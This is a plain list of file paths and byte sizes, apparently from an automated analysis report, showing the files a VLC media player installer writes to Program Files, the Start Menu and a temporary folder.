%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\InstallOptions.dll (804 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo (30968 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (59286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\ioSpecial.ini (12157 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (29608 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi30D.tmp (2051311 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (392127 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (297298 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (15536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (3686 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\UAC.dll (1588 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
